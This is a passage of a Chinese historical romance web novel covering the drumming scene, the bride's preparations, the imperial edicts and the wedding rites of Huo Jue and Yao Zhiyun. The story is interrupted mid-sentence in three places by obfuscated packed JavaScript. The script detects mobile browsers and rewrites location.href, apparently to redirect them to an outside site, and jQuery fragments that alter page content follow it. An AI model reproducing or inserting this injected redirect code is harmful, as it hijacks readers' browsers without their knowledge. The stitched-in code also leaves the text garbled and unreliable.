霍抉看着这个高低错落，由大小不同的鼓，还有其他东西组成的东西，是他从未见过的，“这是什么？” 姚知韫拿起鼓槌，在手中转动了两圈，坐在一个圆形的凳子上，手脚并用，便敲击起来，“看好了。” 此刻的她，像换了一个人。 她微微抬起下巴，双手握紧鼓槌，右脚轻轻踩上踏板，左脚也搭上了另一个。那姿势自有一股旁若无人的气定神闲——像是在说，接下来，你们都听我的。 霍抉站在一旁，看着她这副架势，眼底浮起一丝兴味。 然后，她动了。 “咚——哒哒——咚咚——哒——” 第一声的鼓响，闷沉沉的，像是从地底下滚过的雷，紧接着，一连串清脆的敲击像雨点一样砸下来，落在那些大大小小的鼓面上。 明明都是简单的乐器，可每一个声音都不一样。 有的沉，有的脆，有的短促，有的绵长，它们交缠在一起，又错落有致，像是一场暴雨，又像是一阵马蹄，还像是千军万马从远处奔腾而来。 霍抉的瞳孔微微收缩。 他听过战场上的战鼓，整齐划一，用来指挥士兵进退，可这个不一样，它甚至不讲规矩，不讲排场，只讲——淋漓尽致。 鼓槌在她指间翻飞，手脚并用，在那些看似杂乱的乐器中上下翻飞，那样的声音，一声接着一声，像心跳，像脚步，像某种永不停歇的东西。 她的头发随着动作轻轻晃动，有几缕散落下来，贴在微微泛红的脸颊上，她的眼睛亮得惊人，似乎胸中有着看不见的千军万马。 霍抉看得有些怔住。 他从没见过她这个样子。 那个平日里温温婉婉、说话轻声细语的姚知韫，此刻像是换了一个人——张扬，热烈，肆无忌惮。 可奇怪的是，他竟觉得，这才是她。 鼓声越来越急。 她像是在追赶什么，又像是在释放什么。每一个鼓点都像是砸在心上，砸得他的心也跟着一起跳，一起颤，一起沸腾。 终于—— “咚——！” 最后一击落在大鼓上，余音在书房里嗡嗡地回荡。 她停了下来，双手还握着鼓槌，胸口微微起伏，额角沁出细细的汗珠。她抬起头，看向霍抉，眼底澄亮，盛着整个夜空。 “如何？”她问，声音里带着一丝喘息，还有藏不住的小得意。 霍抉没有说话，只是走上前，伸手轻轻拨开她额前被汗沾湿的碎发，将她拥入怀中，仿佛拥有了全世界。 “好听，”他说，“听竹斋的二楼足够大。”心中却想着，以后还是要让徐启之多淘换一些乐器，只要她高兴就好。 暮色四合，书房里的光线渐渐暗了下来。 霍抉看着她，看着那张在昏暗中依然泛着光的脸，心里忽然涌上一股说不清的冲动。 他好像重新认识了她。 张扬的，热烈的，肆无忌惮的。 像一团火。 他忽然有些移不开眼。 心里有什么东西在蠢蠢欲动，像是要从胸腔里跳出来。他甚至迫不及待地想明日就将她娶回家，藏起来，哪儿也不许去，不让任何人窥视半分。 姚知韫抬起头，对上他的目光，炙热的，烫得她微微一颤，她想移开眼，却始终无法移开。 他慢慢靠近，她没有躲。 他的呼吸落在她额角，温热的，带着他独有的气息。她垂下眼睛，睫毛轻轻颤了颤，却还是没有躲。 他低下头，吻上她的唇。 很轻，很软，像是怕惊动什么。只是那样贴着，久到两人的呼吸都缠在一起，分不清是谁的。 姚知韫的睫毛颤了颤，她能感觉到他的呼吸，温热的，能感觉到他的手，环上了她的腰，稳稳地拖住她，把她整个人拢在怀里，还能感觉到自己的心跳，咚咚咚的，快得像方才敲的那面小鼓。 她不知道过了多久。 也许只是一瞬，也许很久很久。 他终于松开她，退后半寸，低头看着她的眼睛，却没有放开她，只是将额头抵在她的额头上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364142|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 暮色一寸一寸地沉下去，把他们融进同一片黑暗里。 虽然忙碌，可日子依旧过得飞快。 转眼便到了腊月初七。 一大早孙懋修由霍抉陪着早早就来到了姚府，今日是铺房的日子，孙懋修应是听了孙颖的交代，真的是以兄长的姿态将嫁妆浩浩荡荡地送进了侯府，那一抬抬的嫁妆，头抬进了府前街，后面还有的没有出姚府，引得路人纷纷侧目，有羡慕，也有嫉妒，但更多的还是感叹与祝福。 腊月初八。 因皇上口谕请孙鹤年做主婚人，这是天大的体面。又因着孙颖的关系，王夫人派了福嬷嬷送来了添箱礼。姚知韫恭恭敬敬地接了，心里却泛着暖意。 明日便是腊月初九。 亲迎的日子。 因为是赐婚，霍抉又是京营提督，礼部自然不敢怠慢，早早地就到了姚府张罗，前院有风叔接待，倒也热热闹闹的，只是后院冷清了些。 姚知韫低头看着那满桌的珠钗，静静地想着，她是孤女，苏家姨母更是因为冯嘉的事情，被冯大人拘在家里，出不得门，而苏家外祖那边，怕是不会想给她做脸面，而她也不想与苏家有任何的牵扯。 正想着，常嬷嬷进来禀告，邕王妃到了。 姚知韫微微一怔。 邕王妃？ 邕王是大晋如今唯一一位宗室王爷，年岁与皇上相仿，从小一起长大，是叔侄，也是伴读。只是这位王爷对权力没有半点兴趣，一心只想做个闲散人。遛鸟、斗蛐蛐，怎么自在怎么来。年轻时皇上给他安置过不少地方，他都不肯去。久而久之，皇上也就随他了。 没想到，霍抉竟请了邕王妃来给她送嫁。 她连忙起身相迎。 邕王妃一进门，目光便落在她身上，上上下下打量了一番，随即笑了起来。 “好个标致的人儿，”她拉着姚知韫的手，左看右看，看不够似的，“怪不得霍侯那样的人物，也这么着急地想将娶回去。” 姚知韫被她说得脸颊微红，垂下眼，不知该如何接话。 邕王妃呵呵地笑着，笑声清越脆响，就是一个长辈温和的样子，她拉着姚知韫坐下来，从上到下、从里到外，夸了个遍。夸她眉眼生得好，夸她气度从容不迫，夸她那双眼睛亮得像是会说话。 姚知韫听着，脸红得越来越厉害，心里却泛着说不清的暖意。 邕王妃一进门，仿佛整个屋子都热闹起来。 姚知韫抬头看着她，她今日穿了一身绛红织金的袄裙，衬得整个人容光焕发，听说邕王虽然做事不靠谱，却对邕王妃格外好，逢人便说娶到邕王妃是他这辈子做的唯一一件正事。 如今看来，传言果然不虚，这位邕王妃虽然四十出头，可保养得宜，脸如满月，眉眼舒展，浑身上下就透着舒服两个字，让人不由自主地想要亲近。 姚知韫看着邕王妃，竟也不自觉地放松下来，恭恭敬敬地行了礼，就立在那里任由她打量。 或许是邕王妃见她格外满意，也或许是因为她受人之托，从进门邕王妃就没放开她的手，拉着她坐在镜前，“今日我送你出嫁，也让我沾沾你的喜气。” 话音未落，常嬷嬷又进来禀告，王夫人来了。 66. 迎亲 姚知韫心下诧然，面上却不动声色，她轻轻地向邕王妃告了罪，起身迎了出去。 王夫人今日穿着宝蓝色的锦袍，发髻也梳得庄重，身后不仅跟着孙颖，还跟着孙懋修，以及一位她没见过却猜得出是谁的女子。 姚知韫上前行礼，被王夫人扶住，王夫人的目光柔柔地落在她的身上，看了一会儿，才将孙懋修喊到跟前，“这是兄长孙懋修，既然铺房是他做的，今日我便做东，送嫁也让他来，既然你和颖儿是好姐妹，就把时勉当作自家哥哥。” 姚知韫眼眶微微泛红，却没有拒绝，她只是端端正正地又行了一礼，唤道，“兄长。” 孙懋修微微点头，算是还了礼。 王夫人又指了指旁边的女子，“这是时勉的妻子十三娘，既然时勉送嫁，你自然要喊一声嫂嫂。” 姚知韫转向那女子，那女子生得温婉，眉眼间带着几分和善的笑意。她正要行礼，谢连笙已经笑着拉起她的手，将一个檀木匣子塞进她掌心。 “既然当了妹妹这声嫂嫂，自然不能没有表示，这个就给你添妆了。” 姚知韫也不推辞，大大方方地接下，屈膝行了礼，道了谢。 这边刚完，邕王妃便笑着从里面走了出来，见着王夫人，更是乐呵开了，“我道是谁，原来是王家姐姐。” 姚知韫听邕王妃不称孙夫人，倒是唤王家姐姐，想着原来他们闺阁中是认识的。 果然，王夫人也露出笑容。 “霍侯爷倒是请了你来做全福夫人，倒也应景。” “姐姐说笑了，上次见面至今也有小半年了，倒是因姚家姑娘的婚宴见到了，看来我与这姚姑娘倒是有几分的缘分。” 两位夫人说说笑笑的，相携进了屋子。 孙颖好似终于得了空，忙上前搀了姚知韫的胳膊，谢夫人也笑着上前，搀了姚知韫的另一只胳膊，三人说笑着跟着进了屋。 常嬷嬷又报，说侯府那边来催妆了，邕王妃打趣地看着姚知韫，话却是和王夫人说，“果然，侯爷急了，咱们也快着些，不能耽误了侯爷的好事。” 说着，便接过常嬷嬷递过来的梳子，目光落在姚知韫披散的长发上，“来，丫头，我也是第一次给人做全福夫人，不过这梳头也难不倒我，今儿也显摆显摆我的本事。” 姚知韫从镜子里看着站在身后的邕王妃，那张满月的脸上带着笑，显得柔和又亲近，眉眼间也全是温和。 邕王妃用梳子轻轻梳过她的发顶，一梳到底。 “一梳梳到尾。” 她的声音轻轻柔柔的，却有着一股特有的爽利，梳子顺着发丝滑下，柔顺得像流水。 “二梳白发齐眉。” 第二梳，她的动作慢了一些，梳齿从发根到发梢，一丝不苟。 “三梳儿孙满堂。” 第三梳落下，邕王妃笑着说，“这句话我最喜欢，吉利，所有的烦恼都梳走，以后就都是好日子！” 孙颖在一旁捂着嘴笑，谢连笙也弯了弯嘴角。 邕王妃却不紧不慢，又梳了第四下。 “四梳富贵双全，这头发是真真的好，我都有些舍不得放下了，这是我加的，多梳几下总没错。” 屋子里响起轻轻的笑声，就连王夫人也抿着唇笑了起来。 邕王妃一边梳，一边絮絮叨叨，“五梳五子登科，六梳顺顺利利，九梳长长久久。”她没梳一下，就念一句，故意拖长了声音。 王夫人忍不住笑出声来，“你怎么还是像个皮猴子？” “咋了？”邕王妃理直气壮，“越多越吉利。”她梳下第十下，郑重其事地念着，“十梳十全十美。” 然后，才将梳子往旁边一放，拍了拍手。 邕王妃退后两步，抱着手臂，“姚姑娘这小脸白净莹润，这化了妆反倒俗气了。”言语间有些犹豫。 “那不如就擦点口脂好了。”孙颖站在旁边建议。 屋里热闹地讨论着，常嬷嬷掀帘而入，脸上带着笑，“王妃，侯府那边又催了，这回是第三道催妆了。” 话音刚落，众人纷纷掩嘴低笑，把姚知韫又闹了个大红脸。 邕王妃走到姚知韫身后，再次拿起梳子，将长发仔细地梳理，在头顶盘成一个端庄的桃心髻，髻形丰盈，微微隆起，像一朵半开的牡丹。 打开妆奁盒，邕王妃也不得不赞叹，这套头面首饰可是出自宫里珍御坊，无论是挑心簪还是鬓钗，无论是金累丝点翠的云纹，还是镶嵌的宝石，都是精心挑选的。 邕王妃眸光一闪，看来这赤衣侯对这位姚姑娘，可谓是上了心了。 簪子一支一支插进发髻，挑心簪斜插在髻顶正中，簪头是金累丝点翠如意云纹，正中嵌着一颗圆润的红宝石；分心簪插在髻后，形如半月，同样点翠镶宝；左右再各插以堆鬓钗，细长的珍珠流苏，一动便轻轻摇曳。 髻周还围了一圈小小的花钿，金箔制成，薄如蝉翼，每片上都可刻着不同的花样，牡丹、石榴、鸳鸯。 最后再戴上翟冠，这是侯夫人所用的礼冠，以金丝绣制为饰，冠不大，却精巧绝伦，缀珠翟四对，珠光莹莹，排列有序，翠云二十四片，碧色如洗，环绕冠周，金翟两对，口衔珠结，垂于两侧。 再穿上那件真红大袖衫，大红缎面，光泽柔和，衣身宽大，绣口盈尺，衣襟和袖缘用金线绣着缠枝牡丹，花心点缀着小小的石榴，腰系织金云纹的腰带，将宽大的衣身轻轻束住。 霞帔搭在肩头，云霞花纹，下坠的是金花钑花坠子，深青色的锦缎，绣着流云彩霞，从双肩垂到胸前，两端各坠一枚金玉坠子，稳稳地压住衣襟。 喜服层层叠叠，轻轻一动如流水般拂动。 一切穿戴完毕，姚知韫站起身，立在镜前。 镜中人一身大红，冠上珠翠微颤，霞帔金坠低垂，整个人被那一片红色衬得格外明艳。 王夫人缓缓站起身，从常嬷嬷手中的檀木托盘上取过红盖头展开，红绸如霞，映得满室生辉，“这事，本该是你母亲做的，可怜你自幼失恃，今儿便由我暂代。” 姚知韫微微点了点头，内心对王夫人有着无限的感激。 而霍抉那边，忙碌得比姚府还要早些。 天色未明，侯府上下便已灯火通明。因是赐婚，又无父母高堂，侯府前院正厅设了香案，供奉着那道赐婚圣旨。霍抉盛服立于案前，北面再拜，焚香告祷——这便是他的醮子礼了。 他今日穿了一身大红麒麟服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364143|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是侯爵亲迎的吉服。衣身用金线绣着麒麟祥云，补子上的麒麟张牙舞爪，栩栩如生。腰系玉带，足蹬皂靴，整个人被那一片红色衬得格外英挺。 平日里他总是玄色、苍青色居多，冷峻沉肃，像一把敛了锋芒的刀。今日这一身大红，竟把那冷意冲淡了几分，眉眼间带着藏不住的笑，便有了‘春风得意马蹄疾’的意味。 巳时初，吉时到。 花轿从侯府正门抬出，八人抬的大轿，朱漆彩绘，四角垂着大红绸花。霍抉翻身上马，那马也是通身雪白，披着红绸，配着金鞍。 他端坐马上，身姿挺拔如松。清晨的阳光落在他身上，大红的麒麟服映着金光，衬得那张棱角分明的脸也柔和了几分。唇角微微扬起，眼底是藏也藏不住的笑意——哪里还有半分沙场上的杀伐之气。 迎亲队伍浩浩荡荡出了侯府，一路喜钱撒街，引得沿途百姓争相捡拾，笑闹声、祝福声此起彼伏。 队伍经双塔坊，过府前街，绕了半个京城，才到姚府门前。 姚府大门紧闭，里头传来一阵笑闹声。这是拦门之礼——女方亲友要拦门讨喜，为难新郎一番。 门缝里探出几个脑袋，是姚府的几个小厮，还有孙颖带来的几个丫头。他们笑嘻嘻地伸出手：“侯爷，喜钱呢？” 跟在身后的吴稚跃拎着钱袋子便往前冲了，哗啦啦地撒了过去，众人抢着捡，笑声更大了。 这门是打开了，可却被送嫁的孙懋修拦住了。 孙懋修今日送嫁，名义上也算是姚知韫的兄长，就算是不敢造次，可今日无大小，也便壮着胆子拦住了霍抉，“侯爷且慢，铺房之礼，某既已代行；今日送嫁，又奉母命相随，说来也算是姚家妹妹半个兄长了。既为兄长，临别之际，求妹夫一句话，表表心意，总不为过吧？” “自然，”霍抉恭敬地给这位临时的大舅哥行了礼，作了揖，还扬起了声音，“霍某此生，娶姚家姑娘为妻，只此一心，白首不离，终身不纳妾，天地为证，日月可鉴。” 霍抉话音落下，满堂皆静。 这一字一句，清清楚楚，砸在每个人心上。 吴稚跃眼含深意地看了一眼霍抉，心中默默地叹了口气，想着今日出门前素卿那哀怨的眼神，他后背不由得蹿上了凉意，他也是实在怕了那位姑奶奶的眼泪，这该如何是好？如此想着，他不着痕迹地瞪了霍抉一眼。 孙懋修半晌才回过神来，他在官场也混迹多年，听多了场面话，可这样的场合，这样的言语，等同于当众立誓，可反悔不得。 这可比什么诗词要来得沉重，他拱手一揖，神色郑重，再不像我方才拦门时那般促狭了。“侯爷之言，懋修今日记下了。” 这话传到内室，姚知韫只是微微一笑，霍抉向来是重诺之人，虽然这是她提出来的条件，但如此当众立誓，还是让她内心一颤，只是盖头下的唇角却是如何也压不住了。 王夫人与邕王妃四目相对，笑了笑，倒是有些不以为然，新婚夫妻，姚家姑娘又是如此好颜色，有这样的誓言不难理解，至于以后如何，谁又能知道呢？ 只是王夫人看向姚知韫的目光还是多了一丝审视，良久，才化作一丝欣慰，至于孙颖与谢夫人则是艳羡。 67. 圣旨 霍抉一路无阻地到了正厅，正厅上面放着姚知韫父母的牌位。 王夫人与邕王妃端坐在正堂，目光落在阶下，身旁，孙颖搀着姚知韫款款而出，那一身大红的嫁衣映得满堂生辉。 霍抉的目光从始至终都没有从姚知韫身上移开，她凤冠霞帔，红盖头遮住了脸，只露出盈盈一握的腰身，垂在身侧的手指微微蜷着，她——紧张吗？ 待姚知韫北面站定，四拜之后，王夫人才缓缓开口。 “望你以后，毕恭毕敬，毋违舅姑之命。” 姚知韫退后两步，双手交叠，端端正正地跪了下去，她俯下身，额头触地，恭恭敬敬地给王夫人磕了三个头，礼毕，她却久久没有起身。 身侧的霍抉也撩袍跪了下去，没有一丝的迟疑，随着姚知韫，先向着姚将军夫妇的牌位磕了三个头，才转向王夫人端端正正地磕了三个头。 这是他对姚知韫的尊重，也是承诺，人都有来处，缺了这一项难免会有遗憾，今日王夫人不仅让自己儿子送嫁，又暂代了母亲之责，无论出于如何的心思，他都替姚知韫领了这份情。 王夫人眸光微闪，眼底漾开一层深深的笑意，她的用意霍抉懂了，霍抉这一跪，她也明了。 今日她受了姚知韫的礼，以母亲的身份送她出嫁；受霍抉三拜，是认下这个女婿，是告诉所有人——昌平伯府愿意为姚知韫撑腰。 朝局变幻，瞬息之间。 近两年，皇上龙体每况愈下，疑心却越来越重，老爷这些年被各方势力挟制得越发明显，时勉在翰林院熬了这些年，毫无建树——不是他们没有才能，而是有人不让他们出头。 孙家要想站稳脚跟，需要结盟。 老爷作为朝臣，不能结党营私，可她一个妇道人家出面，说穿了不过是“疼惜孤女”四个字，任谁也挑不出错来。 今日，她为姚知韫全了礼，霍抉自然会承她的情，就当她是为时勉留一条后路。 况且—— 她低头看着跪在面前的姚知韫，看着那张被红盖头遮住的脸，心里忽然软了一下。 她是真的疼这个孩子。 三跪之礼之后，却没有着急让她起来，反倒是将声音放柔。 “恭是恭，敬是敬，却不必委屈自己。” 说完，她才将两人扶起，又握着姚知韫的手拍了拍，“以后，要好好的。” 而，邕王妃望向霍抉的眼神，复杂又审视，好似瞬间明白了什么，眼底笑意更深了，看来王爷说得对，霍抉这人不简单。 按规矩，新娘子应由兄弟背着上花轿，可姚知韫没有兄弟。 孙懋修虽奉母命送嫁，算是认下了这个妹妹，可毕竟男女有别，无亲缘之实，如何能行此贴身之礼？他站在阶下，目光微动，终究没有迈出这一步。 正堂内一时静了静。 王夫人正要开口，霍抉已俯下身去，一手托着背，一手揽着膝弯，稳稳地将人抱在怀中，红盖头随着动作微微晃动，露出盖头下一小截白皙的下颌。 满堂皆是一怔。 大晋立国二百余年，从未有过夫婿亲抱新娘上轿的先例。可转念一想——姚家父母皆无，兄弟俱无，这偌大的府邸，除了他，还有谁能抱她出这道门？ 便是有人想说三道四，也无从说起。 霍抉抱着她，一步步穿过正厅，穿过那棵老槐树，穿过垂花门，姚知韫在他怀里，一动不动，只有那双手，不知何时悄悄攥住了他的衣襟。 他低下头，隔着红盖头，仿佛能看见她弯起的唇角。 “韫儿，我抱你上轿，”他轻声道，轻的只有两人能听见，姚知韫听到了，攥着他衣襟的手微微一紧，却没有说话。 姚府大门外，八抬花轿早已候着，轿旁的官媒早已将轿帘掀开，那笑容早已经咧到耳根，今日的这差事又轻松钱也给得足，她自是乐享其成，姿态自然做得足足的。 霍抉稳稳地将她放进轿中，亲手放下轿帘，遮住了那一身大红嫁衣，也遮住了满堂的目光。 鼓乐齐鸣。 孙懋修率着男眷，策马行在队伍前方。邕王妃乘着轿辇，带着一众女眷随于轿后。芙蓉和小桃一左一右，紧紧跟在花轿两旁，脚步轻快，脸上却都带着笑。 队伍浩浩荡荡地动了起来。 从姚府出发，过府前街，经鼓楼，一路向四井门而去。沿途百姓争相观看，议论纷纷——。 “这是哪家的亲事，这般气派？” “霍侯爷娶亲，娶的是姚将军家的女儿。” “听说是赐婚，今日还特旨经四井门祭拜呢。” “新娘子有福气……” 花轿内，姚知韫端坐着，双手交叠在膝上。 轿身微微晃动，她的心也跟着晃，耳边是鼓乐声，是人群的喧哗声，还有她自己的心跳声——，一如那天敲过的鼓。 队伍行至四井门，日头正好。 这是一座三门四柱的石牌坊，巍然矗立在长街正中，牌坊上的浮雕历经百年风雨，依然清晰可辨，周围已经围拢了许多看热闹的百姓。 此刻牌坊下站着一个人，身着一身湛蓝色常服，负手而立，正仰头看着牌坊上的匾额，听见鼓乐声近，他才转过身来，脸上带着闲闲的笑。 邕王。 队伍停下。 霍抉翻身下马，大步上前，躬身行礼，“王爷。”他也是没有想到邕王今日会来。 “免礼免礼，”邕王笑着虚扶了霍抉一把，“今儿你是新郎官，不用多礼，四井门祭拜本就是皇家恩典，圣上是要派高乔前来，你也知道，本王素来爱凑热的，这才抢了高乔的差事，向霍提督讨杯喜酒喝。” 霍抉眼神微闪，邕王唤他提督，怕是受了皇上旨意来提醒他，不要忘了皇家恩典。 霍抉再拜，“臣，谢皇上恩典。” 邕王不再多言，转身面向牌坊，神色忽然郑重起来。 他接过侍从递来的香，就着牌坊前的长明灯点燃，双手持香，恭恭敬敬地拜了三拜。 香插入炉，青烟袅袅。 邕王退后一步，侧身看向花轿。 “请新娘子出轿。” 轿帘掀开，姚知韫被芙蓉和小桃搀扶着，缓步走出花轿。红盖头遮住了她的脸，却遮不住那一身大红嫁衣在日光下的光彩。 她款步上前，在距离霍抉半步的地方停住，站在霍抉的身侧。 邕王看着她，心中不由得微微颔首，倒是个知礼的。 他敛了神色，从袖中取出一道黄绫，缓缓展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364144|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开。那黄绫织金云纹，两侧垂着玉轴，正是天家制诰的规制。 街上众人，纷纷下跪。 邕王清了清嗓，朗声宣读： “奉天承运，皇帝敕曰：朕惟治世以文，戡乱以武，而人臣之贤，必资内助。尔姚氏，乃平北侯霍抉之配，毓秀名门，秉德柔嘉，夙娴母训，克慎妇仪。兹特封尔为一品夫人，锡之金册凤冠，以彰内则。尔其益勤俭慈，相尔夫氏，共励忠贞，永绥福履。钦哉。” “霍夫人，接旨吧！” 姚知韫双手举过头顶，恭敬地接过那道黄绫织金的圣旨，叩首以拜。 邕王接着又展开第二道黄绫，“敕曰：今尔夫妇，奉旨成婚，特允经四井门，祭拜先灵。惟尔夫妇，其各钦承朕命，笃伉俪之情，全君臣之义。钦此。” 两道圣旨宣读完毕，邕王合上黄绫，递与身旁内侍，目光却沉沉地落在霍抉的身上。 寥寥数语，是天大的恩荣，却再一次将霍抉连同姚知韫一起推上了风口浪尖，怕是有心之人又要揣度圣心了。 邕王微微侧身，做了个请的姿势，“霍侯，霍夫人，请——，”邕王在这四井门下，有着说不出的庄重。 霍抉缓缓站起身，将手伸到姚知韫跟前。 姚知韫微微一怔，盖头底下，唇角悄悄弯了弯。她没有犹豫，将手轻轻放进他的掌心。 那只手，温热而安稳，轻轻握住了她。 两人携手，并肩走向牌楼前。 牌坊石柱上的浮雕在日光下投下深深的影，那上面刻着的，是两百年前为国尽忠的将士们——他们曾浴血沙场，马革裹尸，用自己的命，换这座牌坊永立人间。 霍抉是武将，对将士们自是心存敬畏，姚知韫的长在红旗下好青年，骨子里就刻着对军人的敬仰，两人站在牌坊下，告慰先灵，自然多了几分敬重。 侍从捧来三炷清香，分别递到两人手上，两人各自持香，面向牌楼，端然而立。 礼官唱礼： “一拜——警告天地——。” 两人躬身，缓缓拜下。 “二拜——告慰忠魂——。” 再拜。 “三拜——祈佑平安——。” 三拜。 香插入炉，青烟袅袅而上，融进日光里，仿佛真有什么东西，在这一刻被接通了。 礼成。 霍抉侧过头，隔着那方红盖头，仿佛能看见她的脸，他轻轻握了握她的手，没有松开。 花轿在侯府正门前稳稳落下。 此时日头偏西，吉时正好。府门大开，红绸铺地，从街口一直延伸到正厅。 侯府可比姚府要热闹多了，霍抉是京营提督，又是亲封的赤衣侯，满朝的文武无论政见如何，总是要给几分薄面，有官阶的人必是要来喝杯喜酒的，又是礼部布置的喜宴，整个侯府的前院挨挨挤挤的挤满了人。 所有宾客早已候了多时，见花轿落地，顿时响起一阵欢呼。 霍抉翻身下马，大步走到轿前。 轿帘掀开，芙蓉和小桃搀着姚知韫缓步而出，红衣灼灼，凤冠上的珠翠轻轻颤动，映着她盈盈而立的身姿。 霍抉伸出手。 姚知韫将手放进他掌心，两人并肩，踏上红毡。 68. 第 68 章 鼓乐喧天，宾客夹道。有人往他们身上撒五谷，有人笑着说着吉祥话。姚知韫隔着盖头，只能看见脚下那一方红毡，和身侧那人稳稳的脚步。 他的手一直握着她，没有松开。 迈过火盆，跨过马鞍，官媒在一旁说着吉祥话，引着两位新人往前。 正厅设着香案，供奉着赐婚圣旨。两旁燃着大红喜烛，烛火摇曳，映得满堂生辉。 孙鹤年端坐于东侧主婚之位，神色肃穆。 司礼官扬声唱礼： “吉时已到——新人拜堂——” 霍抉携姚知韫行至香案前，面北而立。 “一拜天地——” 两人转身，向着门外天地，躬身下拜。 “二拜圣恩——” 再转身，向着香案上的圣旨，深深一拜。 “三拜高堂——” 霍抉父母已故，姚知韫父母亦亡，这一拜，便向着端坐的孙鹤年，也向着那冥冥中无从得见的双亲。 两人齐齐拜下。 孙鹤年微微颔首，霍抉年纪仅比他小几岁，却以状元之身，弃笔从戎，守大晋疆土不受外族侵扰，这份魄力他敬之重之，而这位姚姑娘在夫人口中更是赞许有加，今日得圣上指派做两人的主婚人，他甚是高兴，平日里肃穆的面色便也缓了几分。 司礼官最后一声唱礼，拖得长长的： “夫妻对拜——” 霍抉转过身，面向姚知韫。 姚知韫亦转过身，面向霍抉。 隔着那一方红盖头，两人相对而立。 他看着她，看着她微微蜷着的手，思绪却飘得很远。 第一次见她，是在姚府的书房里，那会儿她明明只有五岁，坐在父亲的身边，不言不语，像一尊小小的玉人，可那双眼睛却仿佛千帆过尽，沉沉的，静静的，看不出悲喜。 她只是淡淡地看他一眼，便低下头去，没有羞怯，也没有好奇，只是静静地坐着。 可当他与姚兄聊起朝局、军事，她总会不着痕迹地瞥上一眼，虽不着痕迹，可他就知道，她听得懂。 后来，他重生归来，前往嘉兰，七岁的孩子，父母双亡，他原以为她会害怕，会哭，会像寻常孩童那样需要人哄，可她什么都没有，她只是静静地待在院子里，鼓捣着那些花花草草，摆弄着书房里的那些乐器。 无论做什么都是淡淡的，不烦恼，也不欣喜，他还记得风叔书信里提到，她常说的那句话，‘人世间，除去生死，一切都是闲事’。 他听了只有苦笑，上一世，她用了自己的命，祭奠了这句话。 直到他回京，才终于看见了不一样的她，沉静的，聪慧的，认真的，张扬的，甚至肆意的，无论哪一面，他都为之沉沦。 想着，她的一切又一切。 他弯下腰，深深地跪了下去。 她也拜了下去。 两颗头，几乎同时低到最低处，头顶相碰。 司礼官的声音再次响起： “礼成——送入洞房——，” 霍抉直起身，握住她的手。 她的手在他掌心里，微微发着热。 他牵着她，穿过人群，穿过长廊，一步一步，走向那属于他们的地方。 穿过回廊，越过月洞门，两人终于站在了归雁居的正房门前。 门楣上贴着大红双喜，两侧挂着红绸灯笼，烛光透过纱罩映出来，暖暖的，照得人心也跟着软了几分。 霍抉推开门，牵着姚知韫跨过门槛。 新房正中那张大床上，挂着大红绣帐，床上铺着龙凤被，被面上撒满了花生、桂圆、红枣、莲子——早生贵子，吉祥如意。 桌上燃着一对龙凤喜烛，烛火摇曳，映得满室红光。桌上还摆着合卺酒、同牢盘，以及一把系着红绸的秤杆。 司礼官随在身后，扬声唱礼： “请新郎挑盖头——” 霍抉接过秤杆，手指微微顿了顿。 秤杆挑盖头，取“称心如意”之意，他握了握那杆红绸缠绕的秤杆，轻轻伸向那方红盖头，挑起一角，红绸缓缓掀开，露出姚知韫的下颌——白皙的，微微泛着红，再挑起一些，露出她的唇——唇角微微弯着，像是在笑。 盖头终于完全掀开。 她抬起头，对上他的目光。 凤冠下的那张脸，被烛光映得明艳动人，眉眼弯弯，眼底盛着烛火，也盛着他的影子。 司礼官忍着笑，继续唱礼： “请新人行合卺礼——” 侍者捧上合卺酒，用红线拴着两只酒杯。霍抉和姚知韫各执一杯，手臂相交，低头饮下。 酒入喉，微辣，却暖。 “同牢礼——” 同牢盘里盛着牲畜，两人各食一口，从此便是同甘共苦的一家人。 “结发礼——” 霍抉从姚知韫鬓边轻轻剪下一缕青丝，姚知韫也从他发间剪下一缕。两人将发丝合在一处，用红绳细细缠好，放入锦囊之中。 从此便是结发夫妻。 礼成。 司礼官躬身行礼，带着侍从悄然退下，房门轻轻合上，隔绝了外头的一切喧嚣，屋里只剩下他们两人。 龙凤烛静静地燃着，偶尔噼啪一声，溅起一点火星。 姚知韫坐在床边，双手交叠在膝上，忽然不知道该往哪儿看，方才那些繁复的礼仪，有司礼官一字一句地唱，她只需跟着做便是，可此刻没人唱了，她倒有些不知所措。 她悄悄抬起眼，瞥了霍抉一眼，而他也正看着她，目光灼灼的，像是要把她整个人都看进去。 她慌忙垂下眼，耳根却悄悄红了。 “韫儿——。”他唤她。 “嗯？”她的声音低低的，软软的，拖着糯糯的尾音。 他并没有说话，只是在她身边坐下，伸出手，轻轻握住了她的手。 房门被轻轻叩响，三声，不轻不重。 “侯爷，夫人，本妃来讨杯喜酒喝。”是邕王妃的声音，带着笑，还有几分促狭。 